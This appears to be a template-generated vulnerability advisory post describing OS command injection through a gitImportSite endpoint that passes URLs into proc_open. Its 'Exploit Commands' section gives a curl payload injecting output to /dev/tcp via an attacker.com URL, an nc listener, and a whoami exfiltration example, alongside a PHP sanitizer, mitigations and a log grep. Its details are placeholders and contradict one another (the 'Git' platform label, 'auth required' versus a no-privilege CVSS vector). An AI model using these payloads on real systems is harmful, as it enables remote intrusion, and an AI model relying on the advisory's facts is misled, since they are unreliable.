Git, OS Command Injection, CVE-2023-XXXX (Critical)

Listen to this Post

How the CVE Works

The vulnerability arises in the `gitImportSite` function, which processes a user-supplied URL via a POST request. The input is weakly validated using `filter_var` and strpos, failing to sanitize Bash special characters. The `set_remote` function then passes this tainted input directly into proc_open, enabling command injection. An attacker can chain malicious commands (e.g., curl${IFS}<IP>/$(whoami)) to execute arbitrary code on the server. The lack of proper escaping or allowlisting for Git URLs allows payloads to bypass validation and trigger remote code execution (RCE).

DailyCVE Form

Platform: Git
Version:
Vulnerability: OS Command Injection
Severity: Critical
Date: 2023-XX-XX

Prediction: Patch by 2023-Q4

What Undercode Say:

Analytics:

  • Exploitability: High (auth required)
  • Attack Vector: Web request → `proc_open`
    – CVSS Score: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Exploit Commands:

Payload to trigger RCE:
curl -X POST 'https://<target>/api/gitImportSite' -H 'Authorization: Bearer <token>' -d '{"url":"http://attacker.com/.git;id>/dev/tcp/<IP>/<PORT>"}'
Listener (nc):
nc -lvnp <PORT>

Protection Code:

// Sanitize URL input (PHP example):
function sanitizeGitUrl($url) {
if (!preg_match('/^https?:\/\/[a-z0-9-.]+.[a-z]{2,}\/?/', $url)) {
die("Invalid URL");
}
return escapeshellarg($url);
}

Mitigations:

1. Use `escapeshellarg()` before `proc_open`.

2. Implement allowlisting for Git domains.

3. Restrict API endpoints to trusted IPs.

Logging:

Monitor suspicious Git imports:
grep -r "gitImportSite" /var/log/apache2/access.log | grep -Ev "github.com|gitlab.com"

Patch Test:

Verify patch with safe URL:
curl -X POST 'https://<target>/api/gitImportSite' -d '{"url":"https://github.com/legit/repo.git"}'

References:

  • CVE-2023-XXXX
  • Git Security Advisory: GSA-YYYY

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top